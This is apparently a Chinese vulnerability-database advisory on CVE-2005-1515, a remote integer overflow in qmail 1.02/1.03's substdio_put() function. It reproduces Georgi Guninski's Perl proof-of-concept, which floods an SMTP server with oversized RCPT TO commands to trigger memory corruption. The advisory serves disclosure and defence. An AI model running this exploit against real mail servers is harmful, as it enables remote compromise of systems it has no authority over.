QMail Substdio_Put()函数远程整数溢出漏洞
发布日期:2005-05-09
更新日期:2005-05-09
受影响系统:Dan Bernstein QMail 1.03
Dan Bernstein QMail 1.02
描述:
BUGTRAQ ID:
13536
CVE(CAN) ID:
CVE-2005-1515
Qmail是新一代的UNIX邮件系统。
QMail的substdio_put()函数存在远程整数溢出漏洞,远程攻击者可能利用此漏洞在主机上执行任意指令。
攻击者可以强制substdio_put()函数覆盖整数值,导致向非预期位置写入数据。仅在有多于4G虚拟内存的环境中(如64位系统)才可能执行这种攻击。
<*来源:Georgi Guninski (
guninski@guninski.com)
链接:
http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
-------
qmrcptto-pub.pl
#!/usr/bin/perl -w
# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases
use IO::Socket;
my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;
my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");
my $payload="v" x (1024*1024);
my $i=0;
my $t;
print $sock "HELO a\r\n";
print $sock "MAIL FROM: a\r\n";
my $leg = 842;
$payload = "v" x $leg;
$cou=0;
my $vp= "v" x (1024*1024);
my $wri = 0;
while (42)
{
print $sock "RCPT TO: ${payload}\r\n";
$t=<$sock>;
$cou++;
$wri += ($leg + 1);
if ($wri > 0x80000010) {last;}
if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";}
}
print $sock "DATA\r\n";
print $sock "where do you want bill gates to go today?\r\n";
print $sock ".\r\n";
while(<$sock>)
{
print $_;
}
------
建议:
厂商补丁:
Dan Bernstein
-------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://cr.yp.to/qmail.html浏览次数:2415
严重程度:0(网友投票)